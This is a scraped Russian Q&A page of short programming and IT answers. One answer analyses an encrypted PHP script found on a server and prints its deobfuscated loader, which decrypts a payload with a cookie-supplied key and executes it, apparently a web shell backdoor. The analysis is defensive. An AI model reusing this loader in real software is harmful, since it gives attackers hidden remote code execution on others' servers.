Задать вопрос
  • Можно ли найти столбец в БД?

    0xD34F
    @0xD34F
    SELECT table_name
    FROM information_schema.columns
    WHERE column_name = 'type_vendor'
    Ответ написан
    2 комментария
  • Неизвестный зашифрованный PHP скрипт на сервере, как расшифровать?

    riky
    @riky
    Laravel
    Глянул скрипт, интересно то что без специального ключа его не расшифровать. Ключ передается через параметр key из cookie.

    Основная часть скрипта в чуть более читаемом виде выглядит так. Тут просто строку $m расшифровывают и запускают на выполнение. И да, там скорее всего ничего интересного - просто шелл.

    if (!empty($_COOKIE["key"])) {
        $F = $_COOKIE["key"];
        $e = strlen($F);
        $n = [];
        for ($r = 0; $r < $e; ++$r) $n[] = 44378 - $e - ord($F[$r]);
        $m = base64_decode(str_replace("\n", '', $m));
        for ($r = 0; $r < 44378; ++$r) {
            $_ = abs($n[$r % $e] - $r);
            $F = $m[$_];
            $m[$_] = $m[$r];
            $m[$r] = $F;
        }
        if ($e < 10) $e *= $e & 1 ? 3 : 2;
        if (($m = @gzinflate($m)) && (md5(substr($m, 0, $e)) === '40d1093c6aa5fe053f65ec0b46a673f1')) {
            $m = substr($m, $e);
            echo $e, $r;
            @create_function('', "};unset(\$m,\$n,\$e,\$r,\$_,\$F);" . $m . '{');
        }
    }


    PS кстати, если все таки хочется расшифровать - можно заменить скрипт на свой который тупо сохраняет этот key, тогда используя его можно будет расшифровать.

    сохранять можно например таким кодом:
    <?php
    file_put_contents('key.log', $_COOKIE["key"] . "\n", FILE_APPEND);
    Ответ написан
    Комментировать
  • Как узнать на какой cms сделан сайт?

    LenovoId
    @LenovoId
    svg, css,js
    конкретно сайт по ссылке на wordpress - выдаёт его url /wp-content/
    5b8be36e217bb629888851.png
    Ответ написан
    2 комментария
  • Можно ли уменьшить ping к домену используя разные DNS?

    @alexdora
    Топ-менеджер
    cloudflare это CDN. Обращаясь к адресу cloudflare ты по-сути обращаешься к ближайшему серверу, а не какому-то в США, России или Европе. Потому что так устроена сеть провайдеров.
    Магистральные провайдеры давно уже знаю адресацию и логику Cloudflare и маршрутизируют трафик согласно AS, отправляя по ближайшему маршруту. Это им выгодно, т,к клиентов у Cloudflare много и они этим действие себе разгружают каналы
    Находясь в Москве и обращаясь к примеру к адресу 1.1.1.1 благодаря старания провайдеров и Cloudflare ты обращаешься в Московские сервера Cloudflare. Находясь в США и обращаясь к 1.1.1.1 ты попадешь на сервер в США

    Касательно проблемы пинга и скорости доступа есть только 2 пути: Отдельный кэширующий VPS или сервер в США, или CDN наподобие Cloudflare. Первый вариант чаще будет стоить больше денег, чем CDN
    Ответ написан
    1 комментарий
  • Как найти конкурентов сайта?

    RotgarSett
    @RotgarSett
    SEO Эксперт
    На сайте указаны несколько различных видом услуг. Думаю будет логичным искать конкурентов именно по этим типам услуг, нежели по всем им вместе взятым.

    Самое простое - поиск по ключевым запросам в Google. Но у вас возникает проблема с этим, скорее всего связана с тем что услуги называются не совсем обычно. Например Interface simplification это по простому UX design (тот самый UX что обычно пишут с UI) или что-то очень близкое к этому. Если поищем по такому запросу в Google, то сразу найдем то что нужно
    TAvQN2ESshwFysHdAIGKBc7SieNDjP0SFltT7Md5

    Далее все услуги из списка services ищутся более-менее просто по отдельности.

    Если вам нужно найти конкурентов которые предлагают примерно такой же набор услуг, то все равно рекомендую искать по отдельности каждую из услуг и среди получившегося списка уже находить тех кто более-менее подходит под максимальное совпадение с вашим сайтом.

    Вообще-то список ваших услуг соответствует самым обыкновенным интернет-маркетинговым агентствам, просто у вас на сайте услуги очень интересно (необычно) названы, из-за этого сервисы и не справляются с задачей.

    Такая же ситуация с названиями в разделе Business Solusions
    Ответ написан
    2 комментария
  • Как архивировать файлы с ПК бывших сотрудников?

    moropsk
    @moropsk
    Странно конечно, что это повесили на ИТ.
    В теории увольняющийся сотрудник, сам должен передать необходимую инфу (новому сотруднику, руководителю или замещающему).

    Чем пользуюсь:
    Стандартный бэкап скрипт в планировщик
    https://www.gotoadm.ru/create-backup-image-windows...
    www.outsidethebox.ms/15323

    Понравилась бесплатная утилита (пока тестирую)
    https://www.veeam.com/ru/windows-endpoint-server-b...

    Добавлю:
    www.superbasis.de/copymik/index.htm#rus
    Ответ написан
    7 комментариев
  • Как можно избавиться от подобного мусора в коде?

    @Meloman19
    Множество лейблов, которые при наведении делают одно и то же? Не проще ли создать всего один обработчик и на него привязать события со всех нужных лейблов?
    private void label_MouseEnter(object sender, EventArgs e)
    {
       (sender as Label).ForeColor = Color.FromArgb(35, 33, 61);
    }
    
    private void label_MouseLeave(object sender, EventArgs e)
    {
       (sender as Label).ForeColor = Color.White;
    }


    Теперь во всех событиях указывает один и тот же обработчик.
    Ответ написан
    Комментировать
  • Можно ли в MySQL создать запрос по условию?

    Melkij
    @Melkij
    DBA для вашего PostgreSQL?
    where plan_date_pay < coalesce(date_pay, now())
    Ответ написан
    Комментировать
  • Стоит ли продолжать учить android Разработку в 2018?

    bask
    @bask
    Странный вопрос.
    До 2022 года как до Пекина. За 4 года можно выучить Андроид и успешно его забыть.
    Вопрос сначала нужно задать самому себе - для чего тебе нужен вообще андроид?
    Второе. Fuchsia OS будет поддерживать все приложения, написанные для Андроида.
    Возможно, что Java вымрет, а возможно и нет (не зря ведь он уже 30 лет существует). Будет Котлин, потом и он вымрет. Ну и что? Ему на смену придёт другой язык. Так и будем сидеть и смотреть как один язык приходит на смену другому? В ожидании чего?
    И третье. Вопрос задан так, будто выбирается только один язык или платформа один раз и на всю жизнь. Смешно.
    Ответ написан
    2 комментария
  • Как соотнести имена файлов с одинаковыми датами?

    @dmitryKovalskiy
    программист средней руки
    Я бы решал грубо и в лоб.
    Даты привести к типу даты и отформатировать дату к виду "yyyy_MM_dd__HH_mm".
    А затем искать подстроку в названии файла
    Ответ написан
    2 комментария
  • Почему пингуется другой адрес?

    @Wexter
    Потому что адрес 192.168.0.43 не пингуется и ваш хост (192.168.0.30) отвечает вам что он недоступен
    Ответ написан
    1 комментарий
  • Как узнать почему подскочили установки андроид приложения?

    @ildar1989
    Может перед 1 сентября школьники начали интересоваться приложением)))) А если серьезно то google иногда меняет алгоритмы ранжирования приложений и поэтому его начинают скачивать больше людей. Точнее понять откуда пришла органика можно будет через несколько дней в девелоперской консоли в разделе отчеты по источникам трафика, там выберите отображение данных по дням и увидите откуда пришли пользователи по внешним ссылкам или с самого плэй маркета. Ну и увидите и сравните количество просмотров страницы вашего приложения. И если кол-во само по себе увеличилось то значит 100% дело в гугловских махинациях.
    Ответ написан
    Комментировать
  • Стоит ли заниматься ремонтом цифровой техники?

    Vlad_IT
    @Vlad_IT
    Front-end разработчик
    Тут надо понимать, какой уровень вам требуется. Многие мастера максимум что умеют, это проверить вздутые кондеры, поменять экран смартфону, и поменять железки в материнке, и даже многие не умеют делать обычный реболлинг (или нет оборудования) - таким стать легко за пару месяцев. А для чего-то серьезного, без радио-технического образования (я не имею ввиду корочку) будет сложно.
    Ответ написан
    Комментировать
  • Интервьюируем программиста?

    DmitriyEntelis
    @DmitriyEntelis
    Думаю за деньги
    Шутка «найди того, кто тебе проинтервьюирует будущего интервьюера» слишком поверхностна, чтобы её можно было считать остроумной.
    А это не шутка.
    Чтобы быть хорошим разработчиком, нужно очевидно обладать техническими компетенциями.
    Чтобы прособеседовать человека на должность разработчика, нужно обладать не меньшими компетенциями.
    Все, круг замкнулся.

    И кстати что это за интервью на фрилансе? Если у вас такого масштаба проект что кто-то согласен ждать интервью - зачем вам вообще фрилансеры? Обратитесь в любое HH агенство и возьмите людей в штат.

    Ну или как вариант, выбирайте сами исходя из рекомендаций знакомых, ну и в целом:
    - как быстро человек отвечает на сообщения
    - скинул он шаблонный отклик или же изучил задачу (Пример плохой оценки "300 часов за все". Хорошая оценка декомпозируется на кусочки не более 4-8 часов)
    - Задает ли он вопросы и какие.

    Готовьтесь что 49 из 50 будут этим требованиям не соответствовать.

    Отдельно хочу подчеркнуть еще несколько моментов:
    - не работайте с сильно дешевыми фрилансерами. Если у человека в портфолио сплошные "сайт под ключ за 10 000") - он очевидно не сделает вам нестандартное тз.
    - если ваше тз больше 5 страниц - его будут читать только люди с высоким рейтом и то не все.
    - любые технологии которые предлагает вам разработчик проверяйте на массовость. Go хороший язык, но искать замену этому разработчику вы будете долго и больно. Не путайте массовость и модность. Node.js модный - но ситуация см выше.
    Ответ написан
    2 комментария
  • Как создать бота для Skype?

    VoidVolker
    @VoidVolker
    Dark side eye. А у нас печеньки! А у вас?
    1. Автоматизировать нативный клиент.
    2. Использовать веб-версию скайпа.
    3. Написать свой клиент к протоколу скайпа.
    Ответ написан
    2 комментария
  • Какой дистрибутив Linux можно поставить на ПК с SSD 4 Gb?

    @stratosmi
    Удаленный рабочий стол.
    И все нужное ПО - на сервер.

    Или разобрать и заменить SSD.
    Ответ написан
    Комментировать
  • Что делать если зависимостей у класса становится очень много?

    Indermove
    @Indermove
    C#/.NET back-end разработчик
    Возможно глупый совет, но мне помогает обычно следующее.

    Если у меня есть, к примеру Repository и Service и у меня ответ из репозитория обрабатывается методами сервиса, при этом сервис больше нигде не используется, то
    1) Создаю новый интерфейс. Например FiltrationDataServiceInterface и передаю его в раздувшийся конструктор вместо этих двух классов.
    2) В реализации интерфейса уже использую их для какого-то одного метода.
    3) Этот метод использую в изначальном классе, зависимости, которого я хотел уменьшить.

    Так можно объединять несколько сервисов в один и уменьшать количество зависимостей у раздувшегося класса.

    Логгер я бы за зависимость не считал, так как он вполне самодостаточен и в сущности не является частью вашей логики. То есть если у меня 4-5 зависимостей, и при этом одна из них логгер, то это не сильно страшно. Но тут, конечно тема для холивара может развернуться, поэтому, это просто мое мнение.
    Ответ написан
    Комментировать
  • Как скрыть номер карты или счета в форме?

    @dmitryKovalskiy
    программист средней руки
    По соображениям безопасности ваши реквизиты не нужны клиенту от слова "никак".
    1) Вы подключаетесь к некому платежному сервису, сообщая ему реквизиты, на которые будут поступать деньги.
    2) Вы направляете клиента в этот платежный сервис с нужными входными параметрами.
    3) Клиент передает свои деньги платежному сервису.
    4) Платежный сервис передает деньги вам, забрав свою долю.

    На какой их этих шагов вы хотите засунуть свой номер карты или счета?
    Ответ написан
    2 комментария